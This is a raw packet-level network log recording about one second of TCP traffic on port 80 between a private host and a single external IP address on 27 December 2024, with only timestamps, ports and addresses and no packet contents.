Dec 27, 2024 09:00:16.805202007 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:16.806956053 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:16.807151079 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:16.807334900 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:16.808943033 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:16.809140921 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:16.809191942 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:16.810873032 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:16.810973883 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:16.811036110 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:16.812819004 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:16.812912941 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:16.812983990 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:16.814734936 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:16.814867020 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:16.815006971 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:16.816687107 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:16.816848040 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:16.816910028 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:16.818597078 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:16.818711996 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:16.818803072 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:16.820482016 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:16.820581913 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:16.820633888 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:16.822361946 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:16.822443962 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:16.822503090 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:16.823468924 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:16.823506117 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:16.823573112 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:16.824490070 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:16.824603081 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:16.824673891 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:16.825603962 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:16.825673103 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:16.825733900 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:16.826653957 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:16.826783895 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:16.826894999 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:16.827786922 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:16.827883959 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:16.827950001 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:16.828824043 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:16.829025030 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:16.829087973 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:16.829906940 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:16.829963923 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:16.830018044 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:16.830964088 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:16.830982924 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:16.831058025 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:16.832045078 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:16.832201004 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:16.832276106 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:16.833089113 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:16.833197117 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:16.833257914 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:16.834167004 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:16.834337950 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:16.834387064 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:16.835247040 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:16.835360050 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:16.835423946 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:16.836328030 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:16.836421967 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:16.836524010 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:16.837446928 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:16.837553978 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:16.837625027 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:16.838476896 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:16.838581085 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:16.838637114 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:16.839546919 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:16.839641094 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:16.839694977 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:16.840630054 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:16.840732098 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:16.840892076 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:16.841741085 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:16.841820955 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:16.841933966 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:16.842786074 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:16.842880011 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:16.843041897 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:16.843841076 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:16.843955040 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:16.844049931 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:16.844902992 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:16.845004082 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:16.845104933 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:16.845993042 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:16.846086979 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:16.846136093 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:16.847047091 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:16.847171068 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:16.847328901 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:16.848123074 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:16.848237038 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:16.848412037 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:16.849224091 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:16.849318027 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:16.849386930 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:16.850281954 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:16.850394964 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:16.850460052 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:16.851385117 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:16.851515055 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:16.851594925 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:16.852404118 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:16.907601118 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:16.975008965 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:16.975064039 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:16.975131989 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:16.975419044 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:16.975545883 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:16.975604057 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:16.976281881 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:16.976383924 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:16.976502895 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:16.977161884 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:16.977302074 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:16.977380037 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:16.978064060 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:16.978199005 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:16.978262901 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:16.978923082 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:16.979022026 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:16.979096889 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:16.979794979 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:16.979902029 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:16.979943991 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:16.980671883 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:16.980784893 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:16.980840921 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:16.981566906 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:16.981673002 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:16.981731892 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:16.982445002 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:16.982530117 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:16.982583046 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:16.983309031 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:16.983436108 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:16.983519077 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:16.984194040 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:16.984303951 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:16.984385014 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:16.985080957 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:16.985204935 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:16.985269070 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:16.985965967 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:16.986085892 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:16.986136913 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:16.986851931 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:16.986934900 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:16.986984015 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:16.987731934 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:16.987824917 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:16.987884998 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:16.988601923 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:16.988703012 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:16.988786936 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:16.989496946 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:16.989593983 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:16.989664078 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:16.990412951 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:16.990463972 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:16.990510941 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:16.991242886 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:16.991339922 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:16.991390944 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:16.992111921 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:16.992239952 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:16.992319107 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:16.993061066 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:16.993141890 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:16.993213892 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:16.993880987 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:16.993968010 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:16.994081020 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:16.994780064 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:16.994910955 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:16.994976044 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:16.995659113 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:16.995795012 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:16.995846033 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:16.996520996 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:16.996646881 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:16.996743917 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:16.997411013 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:16.997582912 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:16.997730017 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:16.998289108 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:16.998577118 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:16.998666048 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:16.999140978 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:16.999397993 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:16.999455929 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:17.000041008 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.000345945 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.000396967 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:17.000912905 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.001099110 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.001152039 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:17.001790047 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.001888990 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.001938105 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:17.002666950 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.002791882 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.002849102 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:17.003606081 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.003818989 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.003894091 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:17.004446983 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.004612923 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.004728079 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:17.005316019 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.005556107 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.005640030 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:17.006197929 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.006407022 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.006486893 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:17.007147074 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.007333994 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.007384062 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:17.008049965 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.008085966 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.008133888 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:17.008815050 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.009001017 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.009115934 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:17.009708881 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.009793997 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.009838104 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:17.010643959 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.010762930 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.010811090 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:17.011482000 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.011646986 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.011765957 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:17.012382030 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.012485981 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.012522936 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:17.013216972 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.013303995 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.013444901 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:17.014108896 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.014218092 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.014270067 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:17.014950037 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.015120983 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.015182018 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:17.015850067 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.015959024 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.016164064 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:17.016746044 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.016848087 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.016925097 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:17.017668962 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.017766953 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.017915010 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:17.018512011 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.018624067 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.018670082 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:17.019387960 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.019519091 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.019565105 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:17.020234108 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.020391941 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.020435095 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:17.021068096 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.063788891 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:17.179101944 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.179138899 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.179235935 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:17.179244041 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.179362059 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.179429054 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:17.180146933 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.180259943 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.180325031 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:17.181004047 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.181118965 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.181171894 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:17.181910992 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.181999922 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.182121038 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:17.182789087 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.182862997 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.182919025 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:17.183640003 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.183757067 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.183820963 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:17.184531927 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.184633970 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.184701920 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:17.185400963 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.185528040 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.185611963 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:17.186283112 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.186395884 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.186455965 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:17.187153101 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.187206984 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.187339067 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:17.188047886 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.188162088 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.188230991 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:17.188908100 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.189024925 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.189109087 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:17.189771891 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.189877987 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.189980030 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:17.190702915 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.190781116 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.190893888 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:17.191530943 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.191634893 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.191679955 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:17.192409039 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.192521095 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.192591906 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:17.193325996 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.193413973 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.193458080 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:17.194190025 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.194312096 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.194385052 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:17.195095062 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.195213079 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.195301056 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:17.195980072 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.196091890 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.196139097 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:17.196825027 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.196929932 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.196989059 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:17.197720051 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:17.197812080 CET	80	49743	185.215.113.16	192.168.2.4
